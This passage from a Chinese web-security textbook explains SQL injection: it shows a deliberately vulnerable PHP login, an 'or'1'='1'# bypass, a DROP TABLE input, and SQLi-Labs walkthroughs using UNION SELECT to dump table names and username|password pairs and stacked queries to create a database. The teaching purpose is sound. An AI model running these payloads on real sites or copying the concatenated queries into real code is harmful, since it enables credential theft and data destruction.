版權(quán)說(shuō)明:本文檔由用戶(hù)提供并上傳,收益歸屬內(nèi)容提供方,若內(nèi)容存在侵權(quán),請(qǐng)進(jìn)行舉報(bào)或認(rèn)領(lǐng)
文檔簡(jiǎn)介
Web安全實(shí)踐第1章SQL注入漏洞目錄CONTENTS1.1SQL注入概述1.3常見(jiàn)類(lèi)型的SQL注入1.4SQL注入利用1.5SQL注入繞過(guò)1.6SQLMap1.7SQL注入防御1.2SQL注入分類(lèi)1.8習(xí)題1.9本章小結(jié)1.1SQL注入概述SQL注入是指攻擊者構(gòu)造惡意輸入,并將其傳遞至Web應(yīng)用程序,如果Web應(yīng)用程序未能充分處理惡意輸入或處理后未達(dá)到防御效果,惡意輸入便會(huì)被包含在數(shù)據(jù)庫(kù)查詢(xún)語(yǔ)句中,這使得攻擊者能夠欺騙Web應(yīng)用程序執(zhí)行惡意SQL語(yǔ)句,從而獲得查詢(xún)、修改或刪除數(shù)據(jù)的能力。一個(gè)PHP+MySQL用戶(hù)登錄界面,該界面存在SQL注入漏洞,要求用戶(hù)輸入正確的用戶(hù)名和密碼才能成功登錄。1.1SQL注入概述<!DOCTYPEhtml><html><head><title>SQL注入演示——"萬(wàn)能密碼登錄"</title></head><body><h4>用戶(hù)登錄</h4><formaction="login.php"method="post">
用戶(hù)名:<inputtype="text"name="username"/><br/>
密碼:<inputtype="password"name="password"/><br/><inputtype="submit"value="登錄"/></form><?php$conn=newmysqli('localhost','root','123456','mydatabase');//建立數(shù)據(jù)庫(kù)連接login.php的實(shí)現(xiàn)代碼如下:1.1SQL注入概述if($conn->connect_error){//檢查連接是否成功
die("連接失敗:".$conn->connect_error);//輸出錯(cuò)誤信息并終止腳本執(zhí)行
}$username=$_POST['username'];//獲取用戶(hù)名
$password=$_POST['password'];//獲取密碼
if($username!=""&&$password!=""){//判斷用戶(hù)名和密碼是否為空
$sql_query="SELECT*FROMusersWHEREusername='$username'ANDpassword='$password'";//構(gòu)建SQL查詢(xún)語(yǔ)句
$result=$conn->query($sql_query);//執(zhí)行SQL查詢(xún)
if($result&&$result->num_rows>0){
echo"登錄成功,歡迎用戶(hù):$username";}else{ echo"登錄失敗,請(qǐng)檢查用戶(hù)名和密碼";}}1.1SQL注入概述
$conn->close();//關(guān)閉數(shù)據(jù)庫(kù)連接
?></body></html>上述示例代碼要求用戶(hù)輸入用戶(hù)名和密碼,隨后在users數(shù)據(jù)表中執(zhí)行查詢(xún)操作,以檢查是否存在符合“username='$username'”和“password='$password'”條件的記錄。如果結(jié)果集不為空且行數(shù)大于0,則提示登錄成功;如果結(jié)果集為空或行數(shù)為0,則提示登錄失敗。在該示例中,假設(shè)users數(shù)據(jù)表中只有一個(gè)admin用戶(hù)1.1SQL注入概述盡管users數(shù)據(jù)表中不存在用戶(hù)名為“'or'1'='1'#”的用戶(hù),但由于該特殊構(gòu)造的用戶(hù)名中包含SQL注入代碼,導(dǎo)致在用戶(hù)名和密碼均不匹配的情況下仍然可以成功登錄。出現(xiàn)這種現(xiàn)象是因?yàn)閘ogin.php頁(yè)面存在SQL注入漏洞,攻擊者能夠利用該漏洞繞過(guò)正常的身份驗(yàn)證。輸入用戶(hù)名“'or'1'='1'#”、密碼“123”,點(diǎn)擊“登錄”按鈕,提示登錄成功1.1SQL注入概述在正常情況下,當(dāng)用戶(hù)輸入用戶(hù)名“admin”和密碼“web_security”時(shí),Web服務(wù)器執(zhí)行的SQL語(yǔ)句是:SELECT*FROMusersWHEREusername='admin'ANDpassword='web_security'此時(shí),在users數(shù)據(jù)表中能夠查詢(xún)到admin用戶(hù),返回的結(jié)果集不為空且行數(shù)大于0,滿(mǎn)足登錄條件。因此,SQL語(yǔ)句的預(yù)期語(yǔ)義是:SELECT*FROMusersWHEREusername='用戶(hù)名'ANDpassword='密碼'然而,當(dāng)用戶(hù)輸入用戶(hù)名“'or'1'='1'#”和密碼“123”時(shí),最終執(zhí)行的SQL語(yǔ)句變?yōu)椋篠ELECT*FROMusersWHEREusername=''or'1'='1'#'ANDpassword='123'1.1SQL注入概述在該示例中,用戶(hù)輸入的單引號(hào)“'”與SQL語(yǔ)句中原有的單引號(hào)形成閉合,導(dǎo)致原本用于界定用戶(hù)名的單引號(hào)發(fā)生逃逸,SQL語(yǔ)句的實(shí)際語(yǔ)義變?yōu)椋篠ELECT*FROMusersWHEREusername='用戶(hù)名'or'1'='1'#'ANDpassword='密碼'其中,“or'1'='1'”導(dǎo)致WHERE條件為真,“#”作為注釋符將后續(xù)的SQL語(yǔ)句變?yōu)樽⑨?。因此無(wú)論輸入什么密碼,該SQL語(yǔ)句總能返回users數(shù)據(jù)表中的所有數(shù)據(jù)作為結(jié)果集,從而滿(mǎn)足登錄條件,實(shí)現(xiàn)“萬(wàn)能密碼登錄”。SQL注入的本質(zhì)在于構(gòu)造的惡意輸入改變了SQL語(yǔ)句的預(yù)期語(yǔ)義,從而導(dǎo)致執(zhí)行結(jié)果與SQL語(yǔ)句的預(yù)期結(jié)果不符。在上述示例中,login.php頁(yè)面未對(duì)用戶(hù)輸入的惡意數(shù)據(jù)進(jìn)行有效過(guò)濾,而是將用戶(hù)輸入的惡意數(shù)據(jù)直接拼接到SQL語(yǔ)句中并執(zhí)行,這是導(dǎo)致安全漏洞的直接原因。對(duì)于Web開(kāi)發(fā)者而言,“永遠(yuǎn)不要相信用戶(hù)輸入的數(shù)據(jù)”是一條至關(guān)重要的安全準(zhǔn)則。1.1SQL注入概述成功實(shí)施SQL注入通常依賴(lài)于以下三個(gè)條件:(1)注入?yún)?shù)可控:攻擊者能夠控制注入位置的參數(shù)內(nèi)容。(2)缺乏足夠的安全過(guò)濾措施:Web應(yīng)用程序未能有效驗(yàn)證和過(guò)濾攻擊者輸入的惡意數(shù)據(jù),而是直接使用這些數(shù)據(jù)構(gòu)造SQL語(yǔ)句。(3)SQL語(yǔ)句可執(zhí)行:數(shù)據(jù)庫(kù)能夠執(zhí)行包含攻擊者輸入惡意數(shù)據(jù)的SQL語(yǔ)句。滿(mǎn)足以上三個(gè)條件后,攻擊者通常能夠成功實(shí)施SQL注入。在上述示例中,雖然注入過(guò)程較為簡(jiǎn)單,但其產(chǎn)生的危害遠(yuǎn)不止“攻擊者成功登錄”這一點(diǎn)。例如,若數(shù)據(jù)庫(kù)開(kāi)啟多語(yǔ)句執(zhí)行功能,輸入用戶(hù)名“';DROPTABLEusers#”將會(huì)刪除整個(gè)users數(shù)據(jù)表,這將對(duì)數(shù)據(jù)庫(kù)的安全性構(gòu)成極大威脅。1.1SQL注入概述SQL注入往往會(huì)帶來(lái)以下危害:(1)數(shù)據(jù)泄露:通過(guò)SQL注入,攻擊者能夠獲取數(shù)據(jù)庫(kù)中的敏感信息,例如用戶(hù)憑證、個(gè)人信息、財(cái)務(wù)數(shù)據(jù)等,甚至可能引發(fā)大規(guī)模的數(shù)據(jù)泄露事件(俗稱(chēng)“拖庫(kù)”)。(2)用戶(hù)驗(yàn)證與授權(quán)機(jī)制被繞過(guò):通過(guò)SQL注入,攻擊者可在數(shù)據(jù)表中添加用戶(hù),這使得攻擊者能夠繞過(guò)Web應(yīng)用程序的用戶(hù)驗(yàn)證和授權(quán)機(jī)制,獲得未經(jīng)授權(quán)的訪問(wèn)權(quán)限。(3)進(jìn)一步的擴(kuò)展攻擊:通過(guò)SQL注入,攻擊者可能執(zhí)行進(jìn)一步的拓展攻擊,例如篡改網(wǎng)頁(yè)內(nèi)容、執(zhí)行跨站腳本(XSS)攻擊、執(zhí)行操作系統(tǒng)命令等。如果數(shù)據(jù)庫(kù)具備寫(xiě)權(quán)限,攻擊者甚至可能寫(xiě)入木馬程序,進(jìn)而導(dǎo)致Web服務(wù)器的完全失陷。1.2SQL注入分類(lèi)1.2.1按照傳參類(lèi)型分類(lèi)1.2.2按照注入位置分類(lèi)1.2.3按照回顯類(lèi)型分類(lèi)1.2.4其他類(lèi)型1.2SQL注入分類(lèi)1.2.1按照傳參類(lèi)型分類(lèi)注入類(lèi)型定義舉例字符型注入注入點(diǎn)的數(shù)據(jù)為字符類(lèi)型登錄時(shí)的用戶(hù)名、密碼等通常是字符類(lèi)型數(shù)字型注入注入點(diǎn)的數(shù)據(jù)為數(shù)字類(lèi)型用戶(hù)ID、年齡等通常是數(shù)字類(lèi)型1.2SQL注入分類(lèi)1.2.2按照注入位置分類(lèi)注入類(lèi)型定義說(shuō)明GET注入通過(guò)GET請(qǐng)求的參數(shù)位置傳遞用戶(hù)輸入的惡意數(shù)據(jù)通常在URL中使用“?”將惡意數(shù)據(jù)附加到URL末尾,多個(gè)數(shù)據(jù)之間使用“&”分隔POST注入通過(guò)POST請(qǐng)求的請(qǐng)求體傳遞用戶(hù)輸入的惡意數(shù)據(jù)HTTPHeader注入通過(guò)HTTP請(qǐng)求頭傳遞用戶(hù)輸入的惡意數(shù)據(jù)常見(jiàn)注入點(diǎn)包括User-Agent字段、Cookie字段、Referer字段、X-Forwarded-For字段等1.2SQL注入分類(lèi)1.2.3按照回顯類(lèi)型分類(lèi)注入類(lèi)型定義舉例有回顯注入Web服務(wù)器會(huì)將攻擊者注入的結(jié)果作為響應(yīng)返回例如報(bào)錯(cuò)注入、聯(lián)合注入等無(wú)回顯注入(俗稱(chēng)“盲注”)Web服務(wù)器不會(huì)將攻擊者注入的結(jié)果作為響應(yīng)返回例如時(shí)間盲注、布爾盲注、DNSLOG盲注等1.2SQL注入分類(lèi)1.2.4其他類(lèi)型此外,SQL注入還包括堆疊注入、二次注入等其他類(lèi)型的注入方式。注入類(lèi)型定義堆疊注入允許攻擊者在單個(gè)請(qǐng)求中執(zhí)行多條SQL語(yǔ)句的攻擊方式,其特點(diǎn)在于數(shù)據(jù)庫(kù)支持依次執(zhí)行通過(guò)分號(hào)分隔的多條SQL語(yǔ)句二次注入是為繞過(guò)轉(zhuǎn)義機(jī)制而發(fā)展的攻擊方式,其特點(diǎn)在于攻擊者的惡意數(shù)據(jù)在初次注入時(shí)并未直接觸發(fā)SQL注入攻擊,而是被存儲(chǔ)在數(shù)據(jù)庫(kù)中,待Web應(yīng)用程序在后續(xù)請(qǐng)求中重新調(diào)用或處理這些被存儲(chǔ)的惡意數(shù)據(jù)時(shí),才會(huì)觸發(fā)SQL注入攻擊1.3常見(jiàn)類(lèi)型的SQL注入1.3.1字符型注入與數(shù)字型注入1.3.2UNIONSELECT聯(lián)合注入1.3.3堆疊注入1.3.4報(bào)錯(cuò)注入1.3.5SQL盲注1.3.6二次注入1.3常見(jiàn)類(lèi)型的SQL注入1.字符型注入$id=$_GET['id’];$sql="SELECT*FROMusersWHEREid='$id'LIMIT0,1";$result=mysql_query($sql);$row=mysql_fetch_array($result);在此示例中,通過(guò)GET請(qǐng)求傳遞的id參數(shù)在SQL語(yǔ)句中被單引號(hào)包裹,語(yǔ)句中的$id原意是傳入字符串,然而攻擊者可以通過(guò)以下步驟判斷是否存在字符型注入:1.3.1字符型注入與數(shù)字型注入對(duì)于字符型注入,注入點(diǎn)的數(shù)據(jù)為字符類(lèi)型,并且在注入時(shí)通常需要閉合單引號(hào)或雙引號(hào)。以SQLi-Labs第1關(guān)為例,該關(guān)卡的關(guān)鍵代碼如下:1.3常見(jiàn)類(lèi)型的SQL注入SELECT*FROMusersWHEREid='1''LIMIT0,1使用Chrome瀏覽器訪問(wèn)“01/sqli-labs/Less-1/index.php?id=1'”,注入后的完整SQL語(yǔ)句如下:攻擊者可以通過(guò)以下步驟判斷是否存在字符型注入:(1)輸入“1'”,頁(yè)面返回異常。SQL語(yǔ)句中的單引號(hào)并未閉合,導(dǎo)致SQL語(yǔ)句執(zhí)行錯(cuò)誤,頁(yè)面返回異常。1.3.1字符型注入與數(shù)字型注入1.3常見(jiàn)類(lèi)型的SQL注入SELECT*FROMusersWHEREid='1'and'1'='1'LIMIT0,1使用Chrome瀏覽器訪問(wèn)“01/sqli-labs/Less-1/index.php?id=1'and'1'='1”,注入后的完整SQL語(yǔ)句如下:(2)輸入“1'and'1'='1”,頁(yè)面返回正常。其中“'1'='1”導(dǎo)致WHERE條件為真,所以SQL語(yǔ)句能夠正常執(zhí)行,并返回預(yù)期數(shù)據(jù)。這種響應(yīng)表明注入成功,因?yàn)橥獠康膼阂廨斎氲靡猿蔀镾QL語(yǔ)句的一部分。
1.3.1字符型注入與數(shù)字型注入1.3常見(jiàn)類(lèi)型的SQL注入SELECT*FROMusersWHEREid='1'and'1'='2'LIMIT0,1使用Chrome瀏覽器訪問(wèn)“01/sqli-labs/Less-1/index.php?id='1'and'1'='2”,注入后的完整SQL語(yǔ)句如下:(3)輸入“1'and'1'='2”,頁(yè)面返回異常。其中“'1'='2”導(dǎo)致WHERE條件為假,雖然SQL語(yǔ)句能夠執(zhí)行,但返回頁(yè)面與正常頁(yè)面相比存在差異,即頁(yè)面返回異常。這種響應(yīng)表明SQL語(yǔ)句的執(zhí)行邏輯已經(jīng)受到外部輸入的影響。
1.3.1字符型注入與數(shù)字型注入1.3常見(jiàn)類(lèi)型的SQL注入在判斷字符型注入時(shí):(1)如果滿(mǎn)足上述三個(gè)步驟的測(cè)試結(jié)果,則說(shuō)明注入點(diǎn)可能存在字符型注入。(2)如果不滿(mǎn)足,并不能直接推斷出不存在SQL注入漏洞,需要結(jié)合其他測(cè)試語(yǔ)句進(jìn)一步判斷是否存在其他類(lèi)型的SQL注入漏洞。index.php?id=1'or'1'='1index.php?id=1'or'1'='2除了利用and關(guān)鍵字進(jìn)行判斷,還能夠通過(guò)or關(guān)鍵字進(jìn)行判斷:1.3.1字符型注入與數(shù)字型注入1.3常見(jiàn)類(lèi)型的SQL注入2.數(shù)字型注入$id=$_GET['id'];$sql="SELECT*FROMusersWHEREid=$idLIMIT0,1";$result=mysql_query($sql);$row=mysql_fetch_array($result);在此示例中,通過(guò)GET請(qǐng)求傳遞的id參數(shù)直接被拼接到SQL語(yǔ)句“SELECT*FROMusersWHEREid=$idLIMIT0,1”中,語(yǔ)句中的$id原意是傳入數(shù)字,然而攻擊者可以通過(guò)以下步驟判斷是否存在數(shù)字型注入:1.3.1字符型注入與數(shù)字型注入對(duì)于數(shù)字型注入,注入點(diǎn)的數(shù)據(jù)均為數(shù)字類(lèi)型,輸入的數(shù)據(jù)通常沒(méi)有單引號(hào)或雙引號(hào)的包裹,因此數(shù)字型注入不需要閉合操作即可執(zhí)行。以SQLi-Labs第2關(guān)為例,該關(guān)卡的關(guān)鍵代碼如下:1.3常見(jiàn)類(lèi)型的SQL注入SELECT*FROMusersWHEREid=1'LIMIT0,1使用Chrome瀏覽器訪問(wèn)“01/sqli-labs/Less-2/index.php?id=1'”,注入后的完整SQL語(yǔ)句如下:攻擊者可以通過(guò)以下步驟判斷是否存在數(shù)字型注入:(1)輸入“1'”,頁(yè)面返回異常。由于“1'”中的單引號(hào)沒(méi)有閉合,導(dǎo)致SQL語(yǔ)句執(zhí)行錯(cuò)誤,頁(yè)面返回異常。1.3.1字符型注入與數(shù)字型注入1.3常見(jiàn)類(lèi)型的SQL注入SELECT*FROMusersWHEREid=1and1=1LIMIT0,1使用Chrome瀏覽器訪問(wèn)“01/sqli-labs/Less-2/index.php?id=1and1=1”,注入后的完整SQL語(yǔ)句如下:(2)輸入“1and1=1”,頁(yè)面返回正常。SQL語(yǔ)句執(zhí)行正常,返回了id為1的用戶(hù)信息。1.3.1字符型注入與數(shù)字型注入1.3常見(jiàn)類(lèi)型的SQL注入SELECT*FROMusersWHEREid=1and1=2LIMIT0,1使用Chrome瀏覽器訪問(wèn)“01/sqli-labs/Less-2/index.php?id=1and1=2”,注入后的完整SQL語(yǔ)句如下:(3)輸入“1and1=2”,頁(yè)面返回異常。其中,“and1=2”導(dǎo)致WHERE條件為假,雖然SQL語(yǔ)句能夠正常執(zhí)行,但返回頁(yè)面與正常頁(yè)面相比存在差異,即頁(yè)面返回異常。1.3.1字符型注入與數(shù)字型注入1.3常見(jiàn)類(lèi)型的SQL注入在判斷數(shù)字型注入時(shí):(1)如果滿(mǎn)足上述三個(gè)步驟的測(cè)試結(jié)果,則說(shuō)明注入點(diǎn)可能存在數(shù)字型注入。(2)如果不滿(mǎn)足,并不能直接推斷出不存在SQL注入漏洞,需要結(jié)合其他測(cè)試語(yǔ)句進(jìn)一步判斷是否存在其他類(lèi)型的SQL注入漏洞。index.php?id=1or1=1index.php?id=1or1=2index.php?id=1%2B1//注意:URL中傳入“+”字符時(shí)需要進(jìn)行URL編碼index.php?id=2-1index.php?id=1*2index.php?id=2/1除了利用and關(guān)鍵字進(jìn)行判斷,還能夠通過(guò)or關(guān)鍵字、算術(shù)運(yùn)算符(+、-、*、/)等進(jìn)行判斷:1.3.1字符型注入與數(shù)字型注入1.3常見(jiàn)類(lèi)型的SQL注入1.3.2UNIONSELECT聯(lián)合注入聯(lián)合注入是一種利用聯(lián)合查詢(xún)語(yǔ)句(即UNIONSELECT)的特性獲取更多數(shù)據(jù)庫(kù)敏感信息的注入方式。在SQL中,UNIONSELECT語(yǔ)句能夠同時(shí)執(zhí)行兩條或多條SELECT語(yǔ)句,并將結(jié)果集縱向拼接成一張?zhí)摂M表,實(shí)現(xiàn)跨庫(kù)、跨表查詢(xún)的功能。使用聯(lián)合查詢(xún)時(shí)需要注意:(1)字段一致性:在聯(lián)合查詢(xún)中,聯(lián)合查詢(xún)必須與主查詢(xún)具有相同數(shù)量的字段,且各個(gè)位置的字段類(lèi)型應(yīng)相同或兼容。例如,NULL和數(shù)字能夠與大部分字段類(lèi)型兼容。(2)重復(fù)行的處理:在默認(rèn)情況下,聯(lián)合查詢(xún)會(huì)自動(dòng)去除重復(fù)的行,如需包含重復(fù)的行,應(yīng)使用UNIONALLSELECT語(yǔ)句。聯(lián)合查詢(xún)的注入點(diǎn)通常被拼接在WHERE操作符后,并且聯(lián)合注入的使用需要頁(yè)面能夠回顯數(shù)據(jù)。1.3常見(jiàn)類(lèi)型的SQL注入1.3.2UNIONSELECT聯(lián)合注入下面以SQLi-Labs第2關(guān)為例,展示通過(guò)聯(lián)合注入獲取數(shù)據(jù)庫(kù)信息的過(guò)程:1.判斷字段數(shù)在聯(lián)合注入中,聯(lián)合查詢(xún)必須與主查詢(xún)具有相同數(shù)量的字段,因此在注入的初始階段就應(yīng)該判斷主查詢(xún)的字段數(shù)。判斷字段數(shù)通常使用ORDERBY語(yǔ)句,ORDERBY語(yǔ)句的原意是按照某一字段對(duì)查詢(xún)結(jié)果進(jìn)行排序,在MySQL中可以使用數(shù)字代替具體的字段名稱(chēng)。例如,“orderby1”表示按照第1列進(jìn)行排序。攻擊者通過(guò)從1開(kāi)始逐步增加ORDERBY語(yǔ)句后的數(shù)字,直至ORDERBY語(yǔ)句后的數(shù)字超過(guò)實(shí)際字段數(shù)量時(shí),SQL查詢(xún)將會(huì)報(bào)錯(cuò)。1.3常見(jiàn)類(lèi)型的SQL注入1.3.2UNIONSELECT聯(lián)合注入1.判斷字段數(shù)使用Chrome瀏覽器訪問(wèn)“01/sqli-labs/Less-2/index.php?id=-1orderby3”,注入后的完整SQL語(yǔ)句如下:SELECT*FROMusersWHEREid=-1orderby3LIMIT0,1表示按照第3列進(jìn)行排序(字段的編號(hào)是從1開(kāi)始的)。頁(yè)面返回正常,表明主查詢(xún)至少存在3個(gè)字段。1.3常見(jiàn)類(lèi)型的SQL注入1.3.2UNIONSELECT聯(lián)合注入1.判斷字段數(shù)使用Chrome瀏覽器訪問(wèn)“01/sqli-labs/Less-2/index.php?id=-1orderby4”,注入后的完整SQL語(yǔ)句如下:SELECT*FROMusersWHEREid=-1orderby4LIMIT0,1表示按照第4列進(jìn)行排序。頁(yè)面返回異常,并顯示報(bào)錯(cuò)信息“Unknowncolumn'4'in'orderclause'”,表明主查詢(xún)的字段數(shù)小于4,再結(jié)合上頁(yè)圖可以推斷主查詢(xún)的字段數(shù)為3。1.3常見(jiàn)類(lèi)型的SQL注入1.3.2UNIONSELECT聯(lián)合注入1.判斷字段數(shù)除了上述使用ORDERBY語(yǔ)句判斷主查詢(xún)字段數(shù),還可以通過(guò)GROUPBY或UNIONSELECT語(yǔ)句判斷字段數(shù),原理和ORDERBY語(yǔ)句類(lèi)似,接下來(lái)以UNIONSELECT語(yǔ)句為例判斷主查詢(xún)字段數(shù)。使用Chrome瀏覽器訪問(wèn)“01/sqli-labs/Less-2/index.php?id=-1unionselectnull,null,null”,注入后的完整SQL語(yǔ)句如圖所示。此處使用NULL而非其他數(shù)據(jù)的原因在于:當(dāng)不知道表中字段類(lèi)型的情況下,NULL更具兼容性,NULL能夠適用于任何數(shù)據(jù)類(lèi)型的字段,因此可以避免因字段類(lèi)型不匹配而導(dǎo)致錯(cuò)誤。頁(yè)面返回正常,表明主查詢(xún)存在3個(gè)字段。1.3常見(jiàn)類(lèi)型的SQL注入1.3.2UNIONSELECT聯(lián)合注入2.判斷數(shù)據(jù)顯示位置通常情況下,數(shù)據(jù)表中的所有字段不一定都在前端頁(yè)面中顯示。因此,攻擊者需要通過(guò)測(cè)試確定哪些字段會(huì)顯示在前端頁(yè)面,以便后續(xù)在這些位置放置需要顯示的攻擊結(jié)果。使用Chrome瀏覽器訪問(wèn)“01/sqli-labs/Less-2/index.php?id=-1unionselect1,2,3”,注入后的完整SQL語(yǔ)句如圖所示:1.3常見(jiàn)類(lèi)型的SQL注入1.3.2UNIONSELECT聯(lián)合注入2.判斷數(shù)據(jù)顯示位置執(zhí)行結(jié)果如圖所示,可以觀察到第二和第三個(gè)字段的信息顯示在前端頁(yè)面,那么后續(xù)應(yīng)將需要顯示的信息放置在這兩個(gè)位置。在主查詢(xún)和聯(lián)合查詢(xún)返回多條數(shù)據(jù)的情況下,許多Web應(yīng)用程序通常只顯示查詢(xún)到的第一條數(shù)據(jù),主查詢(xún)的數(shù)據(jù)會(huì)被優(yōu)先呈現(xiàn),而不會(huì)顯示聯(lián)合查詢(xún)的數(shù)據(jù)。此處輸入“id=-1”再拼接UNIONSELECT語(yǔ)句是因?yàn)閿?shù)據(jù)表中不存在id為-1的用戶(hù)信息,導(dǎo)致主查詢(xún)的數(shù)據(jù)為空,從而使聯(lián)合查詢(xún)的數(shù)據(jù)得以自然呈現(xiàn)。此外,還可輸入“id=1and1=2”構(gòu)成恒假條件,以達(dá)到相同的效果。1.3常見(jiàn)類(lèi)型的SQL注入1.3.2UNIONSELECT聯(lián)合注入3.獲取敏感信息01/sqli-labs/Less-2/index.php?id=-1unionselect1,database(),user()注入后的完整SQL語(yǔ)句如下:使用Chrome瀏覽器訪問(wèn)以下URL:SELECT*FROMusersWHEREid=-1unionselect1,database(),user()LIMIT0,1其中database()和user()是MySQL中的內(nèi)置函數(shù),分別用于獲取當(dāng)前的數(shù)據(jù)庫(kù)名稱(chēng)、用戶(hù)名和主機(jī)名。執(zhí)行結(jié)果如圖所示,當(dāng)前數(shù)據(jù)庫(kù)名稱(chēng)為security,當(dāng)前用戶(hù)名和主機(jī)名為root@localhost。1.3常見(jiàn)類(lèi)型的SQL注入1.3.2UNIONSELECT聯(lián)合注入3.獲取敏感信息以下總結(jié)了在SQL注入中常用的MySQL內(nèi)置函數(shù)和變量,如表所示。內(nèi)置函數(shù)/變量說(shuō)明user()返回當(dāng)前數(shù)據(jù)庫(kù)連接的用戶(hù)名和主機(jī)名version()返回MySQL的版本信息database()返回當(dāng)前數(shù)據(jù)庫(kù)的名稱(chēng)concat()將多個(gè)字符串拼接成一個(gè)完整的字符串,當(dāng)用于多行記錄時(shí),它將對(duì)每一行分別執(zhí)行拼接操作,而不會(huì)將多行記錄的特定字段值拼接成一個(gè)字符串group_concat()將多行記錄的特定字段值按照指定的分隔符拼接成一個(gè)完整的字符串,當(dāng)用于多行記錄時(shí),它將對(duì)所有行的特定字段值進(jìn)行拼接操作,拼接成一個(gè)字符串count()返回查詢(xún)結(jié)果集中的行數(shù)length()返回輸入字符串的長(zhǎng)度substr()返回從字符串中截取指定位置和長(zhǎng)度的子字符串substring()類(lèi)似于substr(),返回從字符串中截取指定位置和長(zhǎng)度的子字符串mid()類(lèi)似于substr(),返回從字符串中截取指定位置和長(zhǎng)度的子字符串a(chǎn)scii()返回字符對(duì)應(yīng)的ASCII碼char()將ASCII碼轉(zhuǎn)換為對(duì)應(yīng)字符sleep()使MySQL進(jìn)程暫停指定的秒數(shù)if()根據(jù)條件表達(dá)式返回不同的值,用于執(zhí)行條件邏輯判斷l(xiāng)oad_file()讀取服務(wù)器文件系統(tǒng)中的文件內(nèi)容1.3常見(jiàn)類(lèi)型的SQL注入1.3.2UNIONSELECT聯(lián)合注入3.獲取敏感信息MySQL5.0及以上版本自帶了一個(gè)信息數(shù)據(jù)庫(kù)information_schema,其中保存著MySQL所維護(hù)的所有數(shù)據(jù)庫(kù)的元數(shù)據(jù)信息,例如數(shù)據(jù)庫(kù)名稱(chēng)、數(shù)據(jù)表名稱(chēng)、字段的數(shù)據(jù)類(lèi)型和訪問(wèn)權(quán)限等。information_schema.tables數(shù)據(jù)表中table_schema字段、table_name字段的內(nèi)容如圖所示。1.3常見(jiàn)類(lèi)型的SQL注入1.3.2UNIONSELECT聯(lián)合注入3.獲取敏感信息information_schema.columns數(shù)據(jù)表中table_schema字段、table_name字段、column_name字段的內(nèi)容如圖所示。1.3常見(jiàn)類(lèi)型的SQL注入1.3.2UNIONSELECT聯(lián)合注入3.獲取敏感信息使用Chrome瀏覽器訪問(wèn)以下URL:01/sqli-labs/Less-2/index.php?id=-1unionselect1,2,group_concat(table_name)frominformation_schema.tableswheretable_schema=database()注入后的完整SQL語(yǔ)句如下:SELECT*FROMusersWHEREid=-1unionselect1,2,group_concat(table_name)frominformation_schema.tableswheretable_schema=database()LIMIT0,1執(zhí)行上述SQL語(yǔ)句后,攻擊者可以獲取當(dāng)前數(shù)據(jù)庫(kù)中的所有數(shù)據(jù)表名稱(chēng)。當(dāng)前數(shù)據(jù)庫(kù)中存在emails、referers、uagents、users四張數(shù)據(jù)表。1.3常見(jiàn)類(lèi)型的SQL注入1.3.2UNIONSELECT聯(lián)合注入3.獲取敏感信息使用Chrome瀏覽器訪問(wèn)以下URL:01/sqli-labs/Less-2/index.php?id=-1unionselect1,2,group_concat(column_name)frominformation_schema.columnswheretable_name='users'andtable_schema=database()注入后的完整SQL語(yǔ)句如下:SELECT*FROMusersWHEREid=-1unionselect1,2,group_concat(column_name)frominformation_schema.columnswheretable_name='users'andtable_schema=database()LIMIT0,1執(zhí)行上述SQL語(yǔ)句后,攻擊者可以獲取當(dāng)前數(shù)據(jù)庫(kù)中users數(shù)據(jù)表的所有字段名稱(chēng)。當(dāng)前數(shù)據(jù)庫(kù)中users數(shù)據(jù)表存在id、username、password這三個(gè)字段。1.3常見(jiàn)類(lèi)型的SQL注入1.3.2UNIONSELECT聯(lián)合注入3.獲取敏感信息使用Chrome瀏覽器訪問(wèn)以下URL:01/sqli-labs/Less-2/index.php?id=-1unionselect1,2,group_concat(username,0x7C,password)fromusers注入后的完整SQL語(yǔ)句如下:SELECT*FROMusersWHEREid=-1unionselect1,2,group_concat(username,0x7C,password)fromusersLIMIT0,1執(zhí)行上述SQL語(yǔ)句后,攻擊者可以獲取users數(shù)據(jù)表中username和password字段的所有詳細(xì)數(shù)據(jù)。以“|”作為分隔符顯示users數(shù)據(jù)表中username和password字段的所有信息,其中0x7C是“|”的十六進(jìn)制形式。1.3常見(jiàn)類(lèi)型的SQL注入1.3.3堆疊注入在SQL中,“;”(分號(hào))用于標(biāo)識(shí)一條SQL語(yǔ)句的結(jié)束。在SQL注入過(guò)程中,攻擊者可以利用分號(hào)構(gòu)造多條SQL語(yǔ)句,從而實(shí)現(xiàn)連續(xù)執(zhí)行多條SQL語(yǔ)句,這種注入方式被稱(chēng)為堆疊注入。堆疊注入允許攻擊者執(zhí)行多條SQL語(yǔ)句,語(yǔ)句之間通過(guò)分號(hào)進(jìn)行分隔。常規(guī)的SQL注入通常只能執(zhí)行查詢(xún)操作,無(wú)法執(zhí)行創(chuàng)建、刪除或修改數(shù)據(jù)等操作,而堆疊注入則能夠在注入的第二條語(yǔ)句中執(zhí)行創(chuàng)建、刪除或修改等任意SQL語(yǔ)句,這是一種直接操作數(shù)據(jù)庫(kù)的注入方式,因此堆疊注入具有極大的危害。盡管堆疊注入危害極大,但其利用條件較為苛刻,受到數(shù)據(jù)庫(kù)引擎、Web應(yīng)用程序所使用的API、數(shù)據(jù)庫(kù)權(quán)限等限制。例如,SQLServer數(shù)據(jù)庫(kù)默認(rèn)支持多語(yǔ)句執(zhí)行,但Oracle數(shù)據(jù)庫(kù)不支持;即使數(shù)據(jù)庫(kù)引擎支持,Web應(yīng)用程序所使用的API也可能存在限制,例如PHPMySQLi擴(kuò)展中的mysqli_multi_query()函數(shù)允許多語(yǔ)句執(zhí)行,但mysqli_query()函數(shù)只支持單語(yǔ)句執(zhí)行。1.3常見(jiàn)類(lèi)型的SQL注入1.3.3堆疊注入以SQLi-Labs第39關(guān)為例,代碼中使用了mysqli_multi_query()函數(shù),這使得堆疊注入成為可能,關(guān)鍵代碼如下:$sql="SELECT*FROMusersWHEREid=$idLIMIT0,1";/*執(zhí)行多條查詢(xún)*/if(mysqli_multi_query($con1,$sql)){//省略具體處理代碼}使用Chrome瀏覽器訪問(wèn)以下URL:01/sqli-labs/Less-39/index.php?id=-1;createdatabaseabcd%23注意:由于“#”字符在URL中具有特殊含義,直接輸入則無(wú)法被Web服務(wù)器正確解析,需要進(jìn)行URL編碼,其中%23是“#”字符的URL編碼。1.3常見(jiàn)類(lèi)型的SQL注入1.3.3堆疊注入注入后的完整SQL語(yǔ)句如下:SELECT*FROMusersWHEREid=-1;createdatabaseabcd#LIMIT0,1執(zhí)行上述SQL語(yǔ)句后,攻擊者不僅會(huì)查詢(xún)id=-1的用戶(hù)信息,還會(huì)創